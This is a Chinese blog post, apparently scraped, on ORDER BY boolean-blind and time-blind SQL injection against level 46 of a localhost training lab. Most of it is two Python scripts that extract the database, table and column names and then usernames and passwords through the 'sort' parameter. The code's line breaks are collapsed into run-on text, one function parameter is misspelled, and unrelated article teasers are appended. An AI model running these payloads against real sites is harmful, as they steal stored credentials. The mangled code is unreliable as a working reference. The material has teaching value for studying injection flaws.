order by 布尔盲注与时间盲注

embedded/2025/2/26 13:47:14/

背景:因为order by ,limit无法使用预编译,所以有可能存在sql注入漏洞

以靶场第46关为例子

用python布尔盲注

import requests
from lxml import htmldef get_id_one(URL,paload):res = requests.get(url=URL,params=paload)tree = html.fromstring(res.content)id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()return id_onedef get_database(URL):# 获取数据库名称s = ""for i in range(1,10):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}#相当于第一个字符<={mid}条件判断为真id_one = get_id_one(URL,paload)if id_one=="1":hight = midmid = (low + hight) // 2else:low = mid +1mid = (low + hight) // 2s+=chr(mid)print("数据库名称:"+s)def get_table(URL):# 获取表名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL,paload)if id_one=="1":low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("表的名称:"+s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL,paload)if id_one=="1":low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("列的名称:"+s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}id_one = get_id_one(URL,paload)if id_one=="1":low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("用户名及密码信息:"+s)if __name__ == '__main__':URL = "http://localhost/Less-46/"# get_database(URL)# get_table(URL)# get_column(URL)get_result(URL)

结果

用python时间盲注

import requests
import datetimedef get_database(URL):# 获取数据库名称s = ""for i in range(1,10):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(0.2),id) -- "}#相当于第一个字符<={mid}条件判断为真start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:hight = midmid = (low + hight) // 2else:low = mid +1mid = (low + hight) // 2print(chr(mid),mid)s+=chr(mid)print("数据库名称:"+s)def get_table(URL):# 获取表名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(0.2),id) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("表的名称:"+s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(0.2),id) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("列的名称:"+s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(0.2),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("用户名及密码信息:"+s)if __name__ == '__main__':URL = "http://localhost/Less-46/"# get_database(URL)# get_table(URL)# get_column(URL)get_result(URL)

结果

注意使用时间盲注时,因为if是在order by之后,而order by 会遍历每一行,都会执行一遍sleep(),但是这里也不能用子查询,跟在order by 之后无论if的条件判断正确yufou都会执行子查询里面的sleep().


http://www.ppmy.cn/embedded/167277.html

相关文章

【形式化】Coq 中的函数式编程基础(长文)

引言 函数式编程风格建立在简单且日常的数学直觉之上&#xff1a;如果一个程序或方法没有副作用&#xff0c;那么&#xff08;忽略效率问题&#xff09;我们只需要了解它如何将输入映射到输出——也就是说&#xff0c;我们可以把它看作是计算一个数学函数的具体方法。这就是“…

ubuntu 20.04系统离线安装nfs

前提 OS&#xff1a;ubuntu 20.04 LTS 1,下载对应安装包 下载地址&#xff1a; https://ubuntu.pkgs.org/20.04/ubuntu-updates-main-amd64/nfs-common_1.3.4-2.5ubuntu3.7_amd64.deb.html 也可以采用我整理好的资源&#xff1a; https://download.csdn.net/download/m0_624…

“零信任+AI”将持续激发网络安全领域技术创新活力

根据Forrester的报告&#xff0c;到2025年&#xff0c;AI软件市场规模将从2021年的330亿美元增长到640亿美元&#xff0c;网络安全将成为AI支出增长最快的细分市场。当前&#xff0c;零信任供应侧企业已经开始尝试使用AI赋能零信任&#xff0c;未来&#xff0c;零信任与AI的结合…

【MySQL | 四、 表的基本查询(增删查改)】

目录 表的增删查改Create(创建)表数据的插入替换 Retrieve(读取)1. 全列查询2. 指定列查询3. 表达式查询4.为查询结果指定别名5.去重查询 WHERE 条件查询排序筛选分页查询 Update(更新) Delete(删除)删除整张表数据 插入查询结果聚合函数group byhaving和where的区别1. 作用范围…

JavaAPI(lambda表达式、流式编程)

Lambda表达式 本质上就是匿名内部类的简写方式&#xff08;匿名内部类见&#xff1a;JAVA面向对象3&#xff08;抽象类、接口、内部类、枚举&#xff09;-CSDN博客&#xff09; 该表达式只能作用于函数式接口&#xff0c;函数式接口就是只有一个抽象方法的接口。 可以使用注解…

Linux环境基础开发工具的使用(apt、vim、gcc、g++、gdb、make/Makefile)

Linux环境基础开发工具的使用&#xff08;apt、vim、gcc、g、gdb、make/Makefile&#xff09; 文章目录 Linux软件包管理器 - apt Linux下安装软件的方式认识apt查找软件包安装软件如何实现本地机器和云服务器之间的文件互传卸载软件 Linux编辑器 - vim vim的基本概念vim下各…

804 唯一摩斯密码词

国际摩尔斯密码定义一种标准编码方式&#xff0c;将每个字母对应于一个由一系列点和短线组成的字符串&#xff0c; 比如: a 对应 ".-" &#xff0c;b 对应 "-..." &#xff0c;c 对应 "-.-." &#xff0c;以此类推。 为了方便&#xff0c;所有…

02、Hadoop3.x从入门到放弃,第二章:集群环境搭建

Hadoop3.x从入门到放弃&#xff0c;第二章&#xff1a;集群环境搭建 一、安装JDK并配置环境变量 /etc/profile中部分代码如下&#xff1a; for循环profile.d中的sh文件并使之生效&#xff0c;所以我们只需要在profile.d文件夹下配置我们的my_env.sh文件就好了 vim /etc/prof…